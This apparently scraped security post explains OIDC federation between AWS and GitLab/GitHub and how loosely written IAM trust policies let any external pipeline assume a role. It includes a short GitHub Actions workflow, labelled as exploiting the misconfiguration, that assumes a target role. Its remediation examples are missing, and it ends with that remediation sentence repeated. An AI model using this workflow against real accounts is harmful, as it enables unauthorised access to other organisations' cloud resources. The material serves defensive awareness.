is an authentication protocol based on the OAuth 2.0 framework that eliminates the need for storing and managing passwords
Within AWS, an Identity Provider can be configured for OIDC ID Federation between AWS and the service
An IAM Role along with its Trust Policy and Permissions policy is created and tied to the Identity Provider
GitLab OIDC with AWS
GitLab and AWS can integrate via OIDC, allowing GitLab pipelines to authenticate and assume an IAM Role within AWS to manage or deploy resources securely
If the Role's Trust Policy is misconfigured (or otherwise poorly configured), any GitLab pipeline could authenticate to the AWS account (assuming the attacker has identified the AWS Account ID and IAM Role name), exposing its permissions to attackers
GitLab AWS IAM Role Misconfigured Trust Policy
This IAM Role Trust Policy allows any connection from GitLab.com
GitHub and AWS can integrate via OIDC, allowing GitHub pipelines to authenticate and assume an IAM Role within AWS to manage or deploy resources securely
If the Role's Trust Policy is misconfigured (or otherwise poorly configured), any GitHub pipeline could authenticate to the AWS account (assuming the attacker has identified the AWS Account ID and IAM Role name), exposing its permissions to attackers
GitHub Actions AWS IAM Role Misconfigured Trust Policy
This IAM Role Trust Policy allows any connection from GitHub.com
GitHub Actions Exploiting the Misconfigured Trust Policy
# .github/workflows/main.yml
name: AWS example workflow
on:
push
env:
AWS_REGION : "us-east-1"
# permission can be added at job level or workflow level
permissions:
id-token: write # This is required for requesting the JWT
contents: read # This is required for actions/checkout
jobs:
exfiltrateData:
runs-on: ubuntu-latest
steps:
- name: Git clone the repository
uses: actions/checkout@v4
- name: configure aws credentials
uses: aws-actions/configure-aws-credentials@v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/github # replace with IAM role to assume
role-session-name: github-role # can be named whatever, shows in AWS logs
aws-region: ${{ env.AWS_REGION }}
- name: get role identity
run: |
aws sts get-caller-identity
To resolve this, it's important to specify in the IAM Role's Trust Policy e.g.,
CI/CD Variables are also needed for this to work. See my for setup.
To resolve this, it's important to specify in the IAM Role's Trust Policy e.g.,